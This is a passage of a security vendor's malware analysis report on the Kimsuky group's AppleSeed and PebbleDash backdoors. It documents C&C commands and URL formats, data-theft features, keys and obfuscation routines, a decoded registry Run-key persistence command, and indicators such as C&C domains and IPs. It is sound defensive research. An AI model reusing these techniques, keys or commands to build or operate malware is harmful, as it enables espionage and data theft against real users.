+Figure 30. CRC scan for unpacked file
+The decryption process follows when the unpacking process is complete. The unpacked data includes
+the RC4 key encrypted with the RSA public key and the data encrypted with the RC4 key. The malware
+first decrypts the data saved in the 0x80 size after +0x04 using the RSA (1024) private key included in the
+binary and obtains the RC4 key based on the data. Then it decrypts the data with the RC4 key to have
+the command data.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 31. Decrypted RSA (1024 bit) private key
+While the command data is not available for download at this moment, it appears that the unpacked data
+will have the following format based on the uploading process that will be discussed later in this report.
+Offset
+Size
+Data
++0x00
+0x04
+Original size of the encrypted data
++0x04
+0x80
+RC4 key encrypted with the RSA (1024 bit) public
++0x84
+Variable
+Command data encrypted with the RC4 key
+Table 7. Encrypted command data received from C&C server
+The following table is a list of commands that the current analysis target, AppleSeed, can perform. The
+command names are based on the string confirmed through the debug message.
+Command Number
+Command Name
+Description
+Performs command lines received
+from the C&C server and sends
+results
+Downloads DLL and executes it with
+the RegSvr32.exe /s command
+MemDLL
+Downloads DLL and executes it in
+the memory
+UpdateDLL
+Updates malware (same as the DLL
+command)
+Table 8. C&C commands #1
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Unlike the MemDLL command that loads and executes malware within the memory, DLL and UpdateDLL
+command download DLL in the file form and execute it with the "regsvr32.exe /s" command. They are
+divided into two commands (DLL, UpdateDLL) which are essentially the same.
+As for the CMD command, it executes the command line that was sent and receives the result through a
+pipe to save it in the %ALLUSERSPROFILE%\temp\ path. It then additionally encrypts the saved file
+before sending it like zip compression or the encryption process discussed above. The command first
+creates a random RC4 key and encrypts the zip compression file with the RC4 algorithm. The randomly
+created RC4 key is encrypted with the public key included in the binary. The final data after the encoding
+process is as follows:
+Offset
+Size
+Data
++0x00
+0x04
+Size of the zip file that will be
+encrypted
++0x04
+0x80
+RC4 key encrypted with the RSA
+(1024 bit) public key
++0x84
+Variable
+Command data encrypted with the
+RC4 key
+Table 9. Encrypted stolen information sent to C&C server
+Figure 32. RSA (1024 bit) public key used to encrypt attachment
+The compressed and encrypted data is attached to the POST request and sent as the following URL:
+/?m=b&p1=[PcID]&p2=a
+3.2. Analysis of Info-stealing Feature
+While the sample discussed earlier is a simple malware without the info-stealing feature, the same cannot
+be said for other AppleSeed samples. Those with functional info-stealing feature can receive additional
+commands from the C&C server and perform them. The following table provides an overview on the infostealing feature and routines for performing additional commands.
+AppleSeed samples with functional info-stealing feature use more URLs than those mentioned above.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+The following shows the entire URLs used with an explanation for each case.
+Mode
+Feature
+ping
+/?m=a&p1=[PcID]&p2=[PcInfo][MalwareVersion]
+Maintaining connection with the
+C&C server
+Sending
+command results
+/?m=b&p1=[PcID]&p2=a
+Sending CMD command results
+/?m=b&p1=[PcID]&p2=b
+Stealing designated file
+/?m=b&p1=[PcID]&p2=b
+Stealing document files from a
+certain path
+/?m=b&p1=[PcID]&p2=b
+Stealing file list information within
+the USB drive
+/?m=b&p1=[PcID]&p2=c
+Stealing captured screenshots
+/?m=b&p1=[PcID]&p2=d
+Stealing keylogging data
+Downloading
+commands
+/?m=c&p1=[PcID]
+Downloading commands from the
+C&C server
+Download
+complete
+/?m=d&p1=[PcID]
+Notifying completion of command
+download
+Table 10. List of URLs used
+3.2.1. Information Theft
+Starting from the installation, the sample proves that it's different by creating the flags folder and flag files
+before copying and running the file in the installation path. Each flag file contains a Unicode string "flag."
+At the info-stealing routine, the sample checks each flag and steals information from each existing flag.
+The stolen data is then sent to the C&C server after being encrypted and compressed with zip.
+Flag File
+Meaning
+FolderMonitor
+Stealing document files
+KeyboardMonitor
+Keylogging
+ScreenMonitor
+Taking screenshots
+UsbMonitor
+Stealing file list information of USB
+Table 11. List of flag files
+Figure 33. Flag files within flags folder
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+a. Keylogging
+This is enabled if the KeyboardMonitor flag file exists within the flags folder. The keylogged data is saved
+as the log.text file within the cache folder in the installation path. It is compressed and encrypted along
+with other stolen data and sent to the C&C server.
+Figure 34. log.txt file that stores keylogging data
+b. Taking Screenshots
+This is enabled if the ScreenMonitor flag file exists within the flags folder. The malware takes a screenshot
+of the current screen and saves it in the %ALLUSERSPROFILE%\temp\ path as a jpg file. The file is sent
+to the C&C server after being compressed and encrypted.
+Figure 35. Screenshot saved as jpg file
+c. Stealing Document Files
+This is enabled if the FolderMonitor flag file exists within the flags folder. The malware collects document
+files (e.g. ".txt," ".hwp," ".pdf," ".doc," ".xls," and ".ppt") that exist within "Desktop," "Downloads,"
+"Documents," and "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE" folders, then sends them to
+the C&C server after compressing and encrypting them.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 36. Routine for checking extensions of files that will be stolen
+d. Stealing File List of USB
+This is enabled if the UsbMonitor flag file exists within the flags folder. The malware finds a USB drive in
+the current system and obtains the list of files within the USB via the following dir command. The obtained
+text format data is also compressed and encrypted before being sent to the C&C server.
+> cmd /s dir [drive name]:\ /s
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 37. List of files within USB drive
+3.2.2. Additional Commands
+Samples with the info-stealing feature enabled have 3 additional commands that can be performed after
+receiving them from the C&C server. The commands are as follows:
+Command Number
+Command Name
+Description
+Upload
+Setting target files to be stolen
+EditFlag
+Enable or disable flag
+FileDownload
+Saving files received in a certain
+path
+Table 12. C&C commands #2
+a. Setting Target Files to be Stolen
+Besides 4 monitor threads, AppleSeed has an additional thread that was not mentioned earlier. It
+periodically reads the "list.fdb" file that exists in the installation path, and if the file contains the pathname
+of a certain file, it compresses and encrypts the file in the path to send it to the C&C server. The d command
+writes the received pathname into the "list.fdb" file, and if the attacker wishes to steal a certain file, they
+can send the file path through the d command to upload it to their server.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+The URL used to upload files from the thread is the same as the one that is used to steal document files
+and USB drive file list as shown below.
+/?m=b&p1=[PcID]&p2=b
+b. Setting Flags
+When the sample is initially installed, it enables 4 flags: FolderMonitor, KeyboardMonitor, ScreenMonitor,
+and UsbMonitor. The e command enables or disables each flag depending on the received data. When
+enabling, a file with the same name is created for each flag, and when disabling, the files are deleted.
+c. Downloading Files
+A command for downloading files to create the received data in a certain path.
+3.3. C&C Communication Using Emails
+In terms of overall features, AppleSeed samples that use email for C&C communications are not much
+different from the sample discussed in the "3.1 Analysis of Default Features" in this report. However, one
+difference is that the samples use email protocols instead of HTTP during the C&C communications
+process. As such, the C&C communications via emails will be analyzed in detail.
+Like the sample with default features from the "3.1.4. Thread" part, AppleSeed utilizing email creates 2
+main threads. They can be categorized as Ping thread and Command thread respectively, using email
+protocol to communicate with the C&C server. The email address and password of the attacker are
+encoded and saved within the file.
+Email Address
+Password
+k1-tome@daum[.]net
+c$#****fzF - (Certain strings blurred as ****)
+Table 13. Information of attacker's email
+The attacker used the curl open source2 to communicate with the C&C server using an email. The 2 main
+threads created by the Email AppleSeed sample can be divided into a thread that uses the IMAP protocol
+and a thread that uses the SMTP protocol based on their roles. The Ping thread defined in the "3.1.
+"Analysis of Default Features" part uses the SMTP protocol as its role is to send the information of the
+current system to the attacker's email. The Command thread uses the IMAP protocol since it receives
+additional malicious data from the attacker's email.
+Protocol Server
+Related Thread
+smtps://smtp.daum[.]net:465
+Ping Thread
+imaps://imap.daum[.]net:993
+Command Thread
+Table 14. Protocol usage type for each thread
+https://github.com/curl/curl
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+3.3.1. Ping Thread (SMTP)
+The sendHttpPing thread operates every 5 minutes. While it operates, it periodically sends the basic
+information of the infected system to the attacker's email. The name of the email sent to the attacker takes
+the form of "history yyyy-mm-dd_hh-mm-ss-sss." Note that the results shown below are based on a test
+account and not the actual address used by the attacker.
+Figure 38. Title of email sent from Ping thread
+Figure 39. Content of email sent from Ping thread (test account used)
+Item
+Format
+Time
+[yyyy-mm-dd_hh-mm-ss-sss]
+Volume Serial Number
+[VolumeSerialNumber]
+PcInfo
+Win[MajorVersion].[MinorVersion].[Build][Architecture]
+Malware Version
+[D_Regsvr32]\nnv[2.0]\nn[7]
+Table 15. Format used for sending information about the infected system - Email
+3.3.2. Command Thread (IMAP)
+This thread is executed every 30 seconds. It checks if there is an email mailbox named "cmd" in the
+attacker's email account and downloads additional malware through the email's attachments. As the
+attacker's email account cannot currently be accessed, it is not certain what types of malicious files exist.
+"5. Post Infection" section of this report will discuss additionally installed malware strains identified by
+AhnLab ASD infrastructure.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 40. 'cmd' mailbox used for distributing additional malware (cmd mailbox created for
+test purpose)
+The attacker uses the IMAP feature of the curl open source to download additional malware from the email
+server. After going through the IMAP reset process, the thread sends the "select cmd" command to check
+if the mailbox named "cmd" exists.
+Figure 41. Transmission code for IMAP command that checks cmd mailbox
+If the mailbox named "cmd" exists, the thread saves the attached file in
+the %ALLUSERSPROFILE%\temp path with the name [random 4 characters].tmp after going through the
+parsing process.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 42. Receiving email with attached file
+After saving the attached file in the %ALLUSERSPROFILE%\temp path, the sample uses the "STORE 1
++Flags \Deleted" command to delete the email with the attached file from the mailbox. The process for
+unpacking and decrypting the file is the same as the content of the dropAndRunCmd thread explained in
+"3.1 Analysis of Default Features." This means that the sample can perform 4 commands: CMD, DLL,
+MemDLL, and UpdateDLL.
+4. Analysis of PebbleDash
+PebbleDash, first found in 2016, is a backdoor malware that is known to be used by Lazarus group.
+PebbleDash is similar to malware strains of NukeSped backdoor used by Lazarus. However, since it was
+dubbed as PebbleDash in CISA (U.S. Cybersecurity & Infrastructure Security Agency) analysis report, this
+report will also refer it as PebbleDash.3
+Most PebbleDash types need a certain argument upon being executed, but there is also a DLL form that
+is executed after being injected by other malware. Upon being executed for the first time, the malware
+decrypts the encrypted argument strings used for verification and the list of API functions that it will use.
+As for its own encrypted settings data, it uses another algorithm to decrypt it.
+In addition, it disguises itself as a TLS protocol to communicate with the C&C server and bypasses network
+detection by using multiple normal URLs and random data. It only supports basic features, such as
+stealing basic information and performing commands, and is not equipped with features that backdoors
+possess (e.g. taking screenshots, keylogging). However, it has a unique feature of re-enabling itself from
+the disabled state to perform malicious behavior at the occurrence of events such as the system being
+added with a USB drive or another user logging in through RDP.
+https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Distributed PebbleDash samples have some common characteristics: they require arguments to be
+executed normally, have encrypted settings data, and have commands they support in common. Note
+that there are differences between them, and one key difference is that the recent samples use HTTP
+protocol (WinHTTP) unlike previous ones that used Raw Socket to communicate with C&C. Also, while
+initial samples did not have features for maintaining persistence, current ones are added with the behavior
+for registering the registry Run key, which allows them to be operated after reboot. PebbleDash samples
+nowadays are created through the PIF dropper, but in the system already infected with malware such as
+AppleSeed or PebbleDash, there are also cases of the malware having being downloaded from a certain
+URL.
+Malware strains recently used by the Kimsuky group are all DLLs designed to execute via regsvr32.exe.
+In the latest version of PebbleDash, a command used to execute additional payloads through
+regsvr32.exe was added. It is noteworthy that the different C&C domains used by the PebbleDash sample
+(created by PIF dropper) and the Kimsuky group's AppleSeed sample were confirmed to share the same
+IP address.
+C&C IP
+Sample
+PebbleDash
+www.onedriver.kro[.]kr
+news.scienceon.r-e[.]kr
+AppleSeed
+you.ilove.n-e[.]kr
+get.seino.p-e[.]kr
+45.124.66[.]28
+216.189.149[.]78
+C&C Domain
+PebbleDash
+movie.youtoboo.kro[.]kr
+AppleSeed
+ppahjcz.tigerwood[.]tech
+ping.requests.p-e[.]kr
+interface.avg.n-e[.]kr
+driver.spooler.p-e[.]kr
+Table 16. Comparing C&C information of PebbleDash and AppleSeed
+Below is the analysis information of initial and latest versions of PebbleDash and the comparison between
+the two samples.
+4.1. Analysis of Initial PebbleDash
+4.1.1. Initial Routine
+As initial versions of PebbleDash check for arguments and terminate themselves if there is no match, they
+use the anti-sandbox technique that does not perform any behaviors if they are terminated. The following
+is the argument string that the current analysis target sample compares to.
+- Argument String Needed for Execution: 48Ur~@3$1h45dGy
+a. Routine for Decoding Argument and Settings Data
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+The string shown above exists in the binary in the Xor encoded form. PebbleDash uses two types of
+decoding routines: A routine of decoding arguments and settings data, and a routine of decoding the API
+list. Both are done in the 0x1 byte Xor method, but the algorithm and key data are different.
+This report will first discuss the routine used to decode settings data that includes the argument value.
+The followings are the 0x40 byte-sized Xor key and decoding routine.
+- Xor Key used to Decode Settings: 5E 85 41 FD 0C 37 57 71 D5 51 5D E3 B5 55 62 20 C1 30 96
+D3 77 4C 23 13 84 8B 63 5C 48 32 2C 5B 94 8F 3A 26 79 E2 6B 94 45 D1 6F 51 24 8F 86 72 C8 D3
+8D C1 C0 D3 88 56 84 B3 91 E2 B2 24 64 24
+- Xor Decoding Algorithm: EncDatan xor XorKeyn+SizeOfEncData-8%0x40 xor 0x59
+Figure 43. Xor decoding routine used to restore arguments and settings data
+The data is decoded using simple encoded data, 0x59, and the Xor key. The Xor key is 0x40 byte, and
+the 0x01 byte key value that is used is the -0x08 offset of the encoded data size.
+- Example
+Encoded String: B8 30 51 C8 92 4C 08 5D A9 01 FB BF 4A 52 03 4A
+Decoded String: 34 38 55 72 7E 40 33 24 31 68 34 35 64 47 79 00 ( 48Ur~@3$1h45dGy )
+b. Routine for Decrypting API Function List
+Besides settings data, PebbleDash has an encrypted list of API functions that it uses after the decryption
+and API Resolving process. The list of API functions is encrypted in the data section. Decrypting the entire
+0x0829 size allows you to obtain the list for the entire API. The list also uses the 0x01 byte Xor method,
+based on the 0x10-sized Xor key data shown below.
+- Xor Key Data Used for API List Decryption: 81 16 AA 52 36 F2 03 3F 6D E2 48 41 49 6A 7E 67
+The Xor method uses the +0x01 offset, meaning that 0x16 to 0x01 bytes based on the key shown above
+are used as an Xor key.
+- Xor Decryption Algorithm: EncDatan xor XorKeyn+1
+When 1 key is used, the new 0x01 byte Xor key is created based on the 0x10 byte-sized Xor key data
+using the following algorithm.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+- Key Creation Algorithm: ( key0x00 + key0x09 ) xor key0x0d xor key0x0f = NewXorKey
+For instance, the Xor key that is first created becomes 0x6E by adding each offset's 0x01 byte value and
+going through the Xor operation. Using such a method, the algorithm creates a new 0x01 byte key each
+time.
+- Example: (0x81 + 0xE2 ) xor 0x6A xor 0x67 = 0x6E
+- New Xor Key Data: 16 AA 52 36 F2 03 3F 6D E2 48 41 49 6A 7E 67 6E
+Figure 44. Xor decryption routine used for restoring API list
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 45. List of API names that are decrypted
+4.1.2. Recovering Settings Data
+Settings data is encoded with 0x01 byte Xor in the same method for argument strings discussed above.
+PebbleDash can have 5 C&C server URLs and randomly choose 1 among them to communicate. The
+current analysis target sample only has 1 URL. The settings data is shown below.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 46. Decrypted settings data
+Table 17 shows the structure of the settings data. Up to 5 C&C URL data from 0x00 to 0x10 byte sizes
+can be included.
+Offset
+Size
+Meaning
++0x00
+0x02
+sockaddr_in.sin_family
++0x02
+0x02
+sockaddr_in.sin_port
++0x04
+0x04
+sockaddr_in.sin_addr
++0x08
+0x08
+NULL
++0x50
+0x08
+Next C&C
+communications time
++0x58
+0x04
+Default Sleep count
++0x5C
+0x04
+Random value
++0x60
+0x04
+Drive notification flag
++0x64
+0x04
+Session notification flag
+Table 17. Settings data
+The PebbleDash sample discussed here uses Raw Socket to communicate with the C&C server. Upon
+examining the decrypted settings data, the C&C URL is shown as "41.92.208[.]195:443".
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Unlike other backdoors, PebbleDash does not have multiple communications with the C&C server during
+a short period, waiting at least 60 seconds before performing a command. The settings data for the +0x58
+offset means the setting for the Sleep() time for waiting. As the sample above has a value of 0x0A (10), it
+will wait for 600 seconds. The default Sleep time can be modified by the C&C command.
+The settings data for the +0x50 offset indicates the next time the communication starts with the C&C
+server. It currently has NULL, but it can be modified by receiving commands. This means that the malware
+can receive commands from the C&C server to communicate several hours later. The settings data for
+the +0x5C offset is the 0x4 byte random data that was found earlier. As it is used to communicate with the
+C&C server, it is presumably used as a unique identifier.
+Since PebbleDash waits for a long time to communicate with the C&C server by default, it is difficult for
+the malware to respond to changes in the infected system in real-time. Given the fact, the developer has
+added a feature which ends the waiting routine and enables communication with the C&C server when a
+new drive or session is created to prevent the malware from waiting for an indefinite period of time. The
+feature is enabled when the drive notification flag and session notification flag mentioned earlier are set.
+Figure 47. Routine for drive and session notifications
+The routine first uses the GetLogicalDrives() API to find the number of drives that are currently available
+and periodically checks the change in quantity. When a new drive is added, it is most likely that a USB
+memory has been inserted. The routine also uses the WTSEnumerateSessionsW() API to monitor the
+number of currently enabled sessions. If another user logs on to the infected system or accesses remotely
+through RDP, the number of sessions will increase, enabling PebbleDash.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+PebbleDash also has a command that sends various information of the infected system to the C&C server,
+and this will be mentioned later in this report. Among data that is sent, there is the status data. As seen
+below, it gains a different value when the malware is performing commands or when a drive/session is
+added. Such status value will be meaningful only when it is sent to the C&C server in real time. So while
+we cannot precisely know how the C&C server is configured, it appears that the command is used for
+basic communications instead of the attacker manually sending it.
+Status Data
+Meaning
+0x00
+Initial Value
+0x01
+Performing waiting routine
+0x02
+Performing command routine (in units of
+0x03
+When a drive is added (usually when
+USB is inserted)
+0x04
+When a session is added (usually
+logging in through local or RDP)
+Table 18. Types of status data
+4.1.3. C&C Communications
+PebbleDash communicates with the C&C server by disguising itself as TLS communications. For instance,
+the following is the packet initially sent to the C&C server.
+Figure 48. Initial packet sent to C&C server
+The packet is the Client Hello request of the TLS Handshake process and has the following structure.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 49. TLS Client Hello
+Besides the default items, the rest is configured dynamically for each item. For instance, items, such as
+"type" and "TLS version,
+ are the same, but values, such as server_name and Cipher Suites that are sets
+of encryption algorithm, randomly choose one hard-coded value in the binary as shown in Figure 50.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 50. Randomly selected data
+For URL (server_name), one normal URL is also randomly selected among the following list.
+Figure 51. Randomly selected dummy URL
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+www.wordpress.com
+www.wikipedia.org
+www.yahoo.com
+www.uc.com
+www.paypal.com
+www.linkedin.com
+www.microsoft.com
+www.avira.com
+www.dell.com
+www.bing.com
+www.apple.com
+www.avast.com
+www.amazon.com
+www.baidu.com
+The following table provides details on the packet mentioned above that is sent to the C&C server.
+Offset
+Size
+Description
+Data
++0x00
+0x01
+Content Type
+Handshake (22)
+[ 16 ]
++0x01
+0x02
+Version
+TLS 1.0
+[ 03 01 ]
++0x03
+0x02
+Length
+[ 00 6A ]
++0x05
+0x02
+Handshake Type
+Client Hello (1)
+[ 01 00 ]
++0x07
+0x02
+Length
+[ 00 66 ]
++0x09
+0x02
+Version
+TLS 1.0
+[ 03 01 ]
++0x0B
+0x20
+Random
+Random data
+[61 93 0B 3D 05 22 45 DB C9 DF
+2B 14 9E 1E 76 57 AB B4 BC B1
+5A B7 C4 9E C3 2B 99 CE 68 DE
+DD 28 ]
++0x2B
+0x01
+Session ID Length
+[ 00 ]
++0x2C
+0x01
+Cipher Suites
+Length
+[ 00 18 ]
++0x2E
+0x18
+Cipher Suites
+12 suites
+[00 2F 00 35 00 05 00 0A C0 13
+C0 14 C0 09 C0 0A 00 32 00 38
+00 13 00 04 ]
++0x46
+0x01
+Compression
+Methods Length
+[ 01 ]
++0x47
+0x01
+Compression
+Methods
+NULL
+[00]
++0x48
+0x02
+Extensions Length
+[ 00 25 ]
++0x4A
+0x13
+Extension
+server_name
+[ 00 00 00 0F 00 0D 00 00 0A 77
+77 77 2E 75 63 2E 63 6F 6D ]
++0x5D
+0x0C
+Extension
+elliptic_curves
+[00 0A 00 08 00 06 00 17 00 18 00
+19 ]
++0x69
+0x06
+Extension
+ec_point_formats
+Table 19. Packet example
+[ 00 0B 00 02 01 00 ]
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+When PebbleDash sends data to the stolen C&C server, it encrypts the data using the RC4 algorithm.
+The process will be discussed in the Performing Commands part. The case is the same when the malware
+receives commands from the C&C server, for which the identical key is used.
+- RC4 Key: 79 E1 0A 5D 87 7D 9F F7 5D 12 2E 11 65 AC E3 25
+Figure 52. Hard-coded RC4 key
+4.1.4. Performing Commands
+The commands sent from the C&C server can largely be divided into 2 stages. The first stage performs
+default commands as shown below. Additional commands are sent only when the command is 0x04.
+Command
+Feature
+0x03
+Sleep (60 seconds)
+0x04
+Additional command
+0x15
+Setting Sleep count
+0x19
+Restoring default Sleep
+count
+0x26
+Auto-delete
+Table 20. Command Type 1
+The 5 commands are all simple, but as mentioned earlier, the auto-delete routine has one noticeable
+characteristic. To perform auto-delete, a batch file needs to be created. In this case, the name of the batch
+file created in the %TEMP% path is "qsm.bat".
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 53. qsm.bat file used for auto-delete
+If the first Type 1 command is 0x04, the malware can download Type 2, the actual commands. The
+downloaded commands are also encoded with RC4, and the first decoded byte is the command byte for
+the table shown below.
+Command
+Feature
+0x09
+Stealing drive information
+0x0A
+Terminating process
+0x0B
+Downloading files
+0x0C
+Deleting files
+0x0D
+Deleting files #2
+0x0E
+Stealing system info (Windows version,
+adapter, status data, etc.)
+0x0F
+Stealing information of currently
+running processes
+0x10
+Performing command line commands
+and stealing results
+0x11
+Performing command line commands
+and stealing results (Hidden)
+0x12
+Changing MAC time
+0x13
+Uploading files
+0x14
+Setting the next C&C communications
+time
+0x15
+Setting Sleep count
+0x16
+Setting current task directory
+0x18
+Stealing file information
+0x19
+Maintaining connection
+0x1A
+Stealing file and directory information
+0x1D
+Manipulating files
+0x1E
+Changing file property
+0x1F
+Running processes
+0x23
+Changing settings data
+0x24
+Sending settings data
+0x25
+Scanning certain IP
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+0x26
+0x27
+Auto-delete
+Uploading and deleting files
+Table 21. Command Type 2
+As most of the commands the malware support are also normally supported by other backdoors, this
+report will only focus on those with noticeable traits. The commands 0x0C and 0x0D both delete files in
+the path that they receive. Yet, whereas 0x0C simply deletes files using the DeleteFileW() API, the 0x0D
+command deletes files after overwriting them with dummy data. It appears that the latter is to obstruct file
+recovery in the future.
+0x10 and 0x11 perform command line commands and send the result to the C&C server. The only
+difference between the two is whether the CREATE_NO_WINDOW flag is used or not (status for
+outputting the console window). Each command uses the following command lines to output the result in
+the %TEMP% path and sends it to the C&C server.
+> cmd.exe /c [Command] >[Temp file] 2>&1
+> cmd.exe /c [Command] 2>[Temp file]
+The 0x12 command changes the MAC (Modified Time, Accessed Time, and Created Time) time of the
+file. It finds the MAC time of the file in the path that it received as the first argument and changes it to the
+MAC time of the file that it received as the second argument. The 0x1E command can change file
+properties, and the 0x1D command can also change the header TimeStamp besides file properties if the
+target file is PE.
+4.2. Analysis of Latest PebbleDash
+4.2.1. Initial Routine
+Encoded inside the recent PebbleDash samples are strings and a list of API functions that will be used,
+but their algorithms are different from the ones used in the past. The current analysis target sample has
+the following string consisting of numbers and alphabetical characters in random order.
+- Data String (DataStr):
+zcgXlSWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt
+The following table shows the offset for each uppercase and lowercase alphabets, number, and special
+characters "-" and "_".
+Character
+Offset
+Character
+Offset
+Character
+Offset
+Character
+Offset
+0x14
+0x28
+0x06
+0x2F
+0x0A
+0x1A
+0x03
+0x2e
+0x27
+0x22
+0x0F
+0x17
+0x09
+0x25
+0x19
+0x2D
+0x0B
+0x1F
+0x0E
+0x33
+0x35
+0x10
+0x32
+0x23
+0x3C
+0x26
+0x01
+0x3B
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+0x29
+0x21
+0x18
+0x3F
+0x1B
+0x1C
+0x1E
+0x37
+0x39
+0x34
+0x3D
+0x11
+0x2B
+0x2A
+0x02
+0x0D
+0x38
+0x1D
+0x13
+0x2C
+0x0C
+0x05
+0x20
+0x12
+0x3A
+0x36
+0x08
+0x00
+0x30
+0x15
+0x07
+0x24
+0x3E
+0x31
+0x04
+Table 22. Offset of each character
+0x16
+The following example shows how the argument string needed for execution (MskulCxGMCgpGdM) is
+decrypted. The string is 15 characters, but the encrypted string is 19 characters.
+- Encrypted String (EncStr): P9HpHPN-BSWUHSOHOvz
+- Decrypted String: MskulCxGMCgpGdM
+The offsets for the first 4 characters of the 19-character string (P9Hp) is shown below. Each 0x4 byte
+below is circulated in order and used as a key.
+- Offsets for First 4 Strings (EncKey): 0x34, 0x39, 0x1A, 0x2D
+The malware starts operation for the rest of the characters (HPN-BSWUHSOHOvz). You can see that the
+first character is H and the offset 0x1A. As for 0x1A, subtracting the first key 0x34 and performing the 'and'
+operation with 0x3F results in 0x26. Finding the 0x26 offset string from the string
+(zcgXlSWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt) yields "M".
+- Decryption Algorithm: offet( DataStr, ( offet( EncStr, n ) - offset( EncKey, n%3 ) ) and 0x3F )
+As the operation only processes characters included in the string, those such as "." are not encrypted.
+The following example shows that the string "/" was not encrypted because it was not included in the string.
+- Encrypted String: rQvVWjh Vg7 TVyG\JGnIuK0c\zv-wGxD2L\E1t3DuC\-NP0cdLgcwCvDd\0Hd /s
+"\"%C\" %x" /E kcZ9mQ /s "%J" /2
+- Decrypted String: reg add hkcu\software\microsoft\windows\currentversion\run /d "\"%s\" %s" /t
+REG_SZ /v "%s" /f
+Like the initial version, the latest PebbleDash sample compares the string "MskulCxGMCgpGdM" to the
+argument string that it received upon execution. When the strings do not match, it terminates itself.
+When the malware is executed by receiving the argument in the actual environment, it first creates the
+\system32\ folder in the same directory and copies itself with the name smss.exe. Note that recently
+confirmed PebbleDash strains all copies themselves in that directory. Unlike the initial samples that did
+nothing for their sustenance, the new samples register a string such as the encrypted string shown
+above to the Run key using the reg command.
+They then run recursion by sending the argument "YRfDFtxLjoBuYXA" along with the path of the previous
+file as shown below. When PebbleDash samples receive the argument and the third argument, they delete
+files in the path received through the third argument. The files are not directly deleted but overwritten with
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+NULL data like the command in the initial PebbleDash version.
+C:\ProgramData\system32\smss.exe YRfDFtxLjoBuYXA "C:\ProgramData\PebbleDash.exe"
+4.2.2. Recovering Settings Data
+Recently confirmed PebbleDash samples encrypt settings data like previous versions. For the latest form,
+the simple 0x10 byte Xor method is used. While it is 0x10 byte, the key value is still 0x9F.
+- Xor Key: 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F
+Figure 54. Xor decryption routine
+Figure 55. Settings data being decrypted
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+The following table shows the settings data used in the latest PebbleDash sample. They are mostly similar
+to the samples discussed earlier in this report. There are some differences; the volume serial number is
+used along with random data when the sample communicates with the C&C server, and unlike the initial
+version, which used Raw Socket to communicate with the C&C server, the latest version uses the HTTP
+protocol.
+Offset
+Size
+Meaning
++0x0000
+0x0008
+Next C&C communications time
++0x0008
+0x0004
+Default Sleep time (in minutes)
++0x000C
+0x0004
+Volume serial number
++0x0010
+0x0004
+Drive notification flag
++0x0014
+0x0004
+Session notification flag
++0x0018
+0x0208
+C&C Server URL #1
++0x0220
+0x0208
+C&C Server URL #2
++0x0428
+0x0208
+C&C Server URL #3
++0x0630
+0x0208
+C&C Server URL #4
++0x0838
+0x0208
+C&C Server URL #5
++0x0A40
+0x0800
+Shell (cmd.exe)
++0x1240
+0x0800
+Temp Directory
+Table 23. Settings data
+The part that sets the next C&C communications time, default Sleep count, and notification flags for drives
+and sessions are mostly the same. The status data also have identical values.
+Status Data
+Meaning
+0x00
+Initial Value
+0x01
+Performing waiting routine
+0x02
+Performing command routine
+(in units of 5)
+0x03
+When a drive is added (usually
+when USB is inserted)
+0x04
+When a session is added
+(usually logging in through local
+or RDP)
+Table 24. Types of status data
+4.2.3. C&C Communications
+The latest version of PebbleDash uses the HTTP protocol to communicate with the C&C server and as
+such, uses queries to send and receive data. The following table shows the queries used to communicate
+with the C&C server.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Query
+Type
+Meaning
+Types of data that is sent
+Volume serial number
+Random data
+data
+Data to be sent
+Table 25. Queries used for C&C communication
+For instance, when the malware tries to secure the initial connection, it makes a POST request with the
+following query:
+[C&C URL]?sep=zDyTRPortBIUyue&uid=7057e9dc&sid=01d1f346
+"sep" refers to the type of data that will be sent. The current analysis target sample has 6 queries defined
+but practically, 3 are used.
+Figure 56. Defined Types
+Query
+Number
+Query String
+zDyTRPortBIUyue
+Securing connection with
+the C&C server
+QFbgweAUBDjojNR
+Sending command
+perform results
+BJIcQHTzhmuafuL
+Downloading commands
+trceNSkCJRwZQQL
+Not used
+qWTZUgfjdigTpUW
+Not used
+lZpReYjnpgYClLi
+Not used
+Table 26. Types of data sent
